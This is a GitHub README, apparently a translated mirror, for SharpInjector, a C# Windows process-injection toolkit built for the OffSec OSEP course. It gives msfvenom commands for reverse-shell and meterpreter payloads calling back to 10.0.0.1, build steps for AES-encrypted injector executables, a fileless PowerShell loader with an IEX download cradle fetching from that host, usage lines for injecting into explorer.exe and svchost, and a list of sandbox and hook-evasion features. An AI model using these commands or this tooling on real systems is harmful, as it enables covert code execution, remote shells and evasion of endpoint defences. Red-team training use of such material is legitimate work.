totekuh/sharp-injector

GitHub: totekuh/sharp-injector

支持多种注入技术的 Windows 进程注入工具包,带 AES 加密和无文件 PS1 加载器。

Stars: 0 | Forks: 0

# SharpInjector 一个用 C# 编写的 Windows 进程注入工具包。支持多种注入技术和 AES 加密的嵌入式 payload。编译为 .NET Framework 以实现最大兼容性 —— 开箱即运行在任何 Windows 机器上。 在 OffSec OSEP 课程期间构建。 ## 注入技术 | Technique | Flag | 描述 | |-----------|------|-------------| | **VirtualAlloc** | `--type=virtualalloc` | 经典注入,通过 `VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread` | | **MapSection** | `--type=mapsection` | Native API 注入,通过 `NtCreateSection` + `NtMapViewOfSection` + 远程线程 | | **Process Hollowing** | `--type=hollowing` | 生成一个挂起的进程,覆盖入口点,恢复执行 | | **DLL Injection** | `--type=loadlibrary` | 将 DLL 路径写入目标进程,通过远程线程调用 `LoadLibraryA` | ## 前置条件 在你的 Kali(或任何 Linux)构建机器上安装: ``` sudo apt install mono-mcs dotnet-sdk-8.0 python3 ``` - `mono-mcs` 将注入器编译为 .NET Framework(可在任何 Windows 上运行) - `dotnet` SDK 仅在构建时用于运行 AES 加密器 - `python3` 生成反射式 PS1 加载器 ## 构建 ### 1. 生成你的 payload Shellcode 模式 —— 将原始 shellcode 文件放置为 `shellcode.bin`: ``` # reverse shell msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin # meterpreter msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin # just pop calc for testing msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o shellcode.bin ``` DLL 模式 —— 将你的 DLL 放置为 `shellcode.dll`。 ### 2. 构建 ``` # Standalone EXE — shellcode injection make build-shellcode # Standalone EXE — DLL injection make build-dll ``` 这会运行加密器(生成随机 AES 密钥,加密你的 payload),然后使用 `mcs` 将所有内容编译为单个 .NET Framework EXE,其中加密后的 payload 和密钥作为嵌入式资源嵌入。输出:`dist/SharpInjector.exe`。 ### 3. 构建反射式 PS1 加载器(可选) ``` make loader-shellcode # or make loader-dll ``` 与上述相同,但随后对 EXE 进行 gzip 压缩,base64 编码,并将其包装在一个 PowerShell 函数中,该函数通过 `Assembly.Load()` 在内存中加载程序集。在目标上从不接触磁盘。输出:`dist/Invoke-SharpInjector.ps1`。 ## 用法 ### 独立 EXE 将 `dist/SharpInjector.exe` 复制到目标并运行: ``` :: Process hollowing into svchost (default for shellcode mode) SharpInjector.exe :: Inject into explorer via VirtualAllocEx + CreateRemoteThread SharpInjector.exe --type=virtualalloc --process=explorer.exe :: Inject into notepad via NtCreateSection + NtMapViewOfSection SharpInjector.exe --type=mapsection --process=notepad.exe :: Hollow a specific process SharpInjector.exe --type=hollowing --start=C:\Windows\System32\notepad.exe :: DLL mode (if built with make build-dll) SharpInjector.exe --type=loadlibrary --process=explorer.exe ``` ### 反射式 PS1 加载器 完全在内存中加载和执行 —— 磁盘上没有 EXE: ``` # From disk . .\Invoke-SharpInjector.ps1 Invoke-SharpInjector # With arguments Invoke-SharpInjector "--type=virtualalloc --process=explorer.exe" # Remote download cradle IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/Invoke-SharpInjector.ps1') Invoke-SharpInjector ``` ## 规避特性 - **AES 加密** —— payload 在构建时使用随机密钥加密,在运行时解密 - **睡眠检查** —— 通过 `kernel32!Sleep` 计时检测沙箱快进 - **VirtualAllocExNuma** —— 使用 NUMA 感知分配以绕过某些 API 挂钩 - **内存加载** —— PS1 加载器通过 `Assembly.Load()` 解压并加载程序集,从不写入磁盘 ## 测试 需要由 [winbox](https://github.com/totekuh/winbox) 管理的 Windows 虚拟机: ``` make test ``` 生成 calc shellcode,构建所有变体,通过共享文件夹部署到虚拟机,运行每种注入技术,并验证 `calc.exe` 是否已生成。 ## 许可证 仅供授权的安全测试和教育用途。
标签:AES加密, AI合规, DLL注入, DNS 反向解析, Kali Linux, NtCreateSection, OffSec, OSEP, RedTeam, Shellcode, SSH蜜罐, 中高交互蜜罐, 内存操作, 嗅探欺骗, 恶意软件开发, 技术调研, 权限维持, 流量审计, 私有化部署, 进程注入, 进程空洞, 逆向工具, 防御规避